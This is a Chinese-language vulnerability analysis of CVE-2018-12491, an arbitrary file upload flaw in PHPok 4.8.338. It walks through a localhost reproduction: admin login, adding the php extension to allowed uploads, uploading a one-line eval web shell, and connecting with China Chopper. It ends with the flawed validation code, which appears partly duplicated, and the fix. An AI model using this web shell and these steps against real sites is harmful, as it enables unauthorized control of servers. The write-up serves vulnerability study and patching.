PHPok4.8.338版本漏洞利用分析
基本描述
phpok是一套采用PHP+MySQL开发的企业网站系统,其4.8.338及4.9.015版本存在任意文件上传漏洞。
漏洞信息
漏洞名称:phpok任意文件上传
漏洞编号:CVE-2018-12491
漏洞描述:phpok是一套采用PHP+MySQL开发的企业网站系统,其4.8.338及4.9.015版本存在任意文件上传漏洞,攻击者可利用漏洞上传任意文件,获取网站权限。
危害等级:高危
漏洞修复:对上传类型后缀进行过滤;升级phpok为最新版本。
实现环境
- 操作系统:Windows10、ip:localhost
- 工具:phpStudy、burpsuite、中国菜刀、文本查看器
安装
将源代码放入PHPstudy根目录www下,之后本地访问安装即可。
操作
-
进入管理员后台
http://localhost/admin.php 账号:admin 密码:admin
进入附件分类管理
对图片上传内容进行编辑,增加php后缀。。
上传附件图片,这时候发现上传的文件类型多了一种php。
制作一句话木马,准备上传:
<?php @eval($_POST['pass']);?>
上传本地文件到资源管理。
导入前的内容
导入后多了多了一些文件同时多了test.php(其他文件的增加也有可能是修改配置文件同代被修改的)
选择刚刚压缩的文件导入,可以看到文件已经上传到了\phpok_4.9.015\data\cache\目录下:
本地查看对应的目录下的文件。
一句话木马使用菜刀工具连接:
漏洞成因
#漏洞程序所在地
#\phpok_4.8.338\framework\admin\rescate_control.php:
$list_filetypes = explode(",",$filetypes);
foreach($list_filetypes as $key=>$value){
$value = trim($value);
if(!$value){
unset($list_filetypes[$key]);
continue;
}
if(!preg_match("/[a-z0-9\_\.]+/",$value)){
$this->json(P_Lang('附件类型设置不正确,仅限字母,数字及英文点符号'));
}
}
}
if(!preg_match("/[a-z0-9\_\.]+/",$value)){
$this->json(P_Lang('附件类型设置不正确,仅限字母,数字及英文点符号'));
}
}
改出对于上传文件的处理,只是判断附件类型是否为空,没有限制后缀。导致可以自行添加PHP后缀,上传恶意文件,获取网站shell。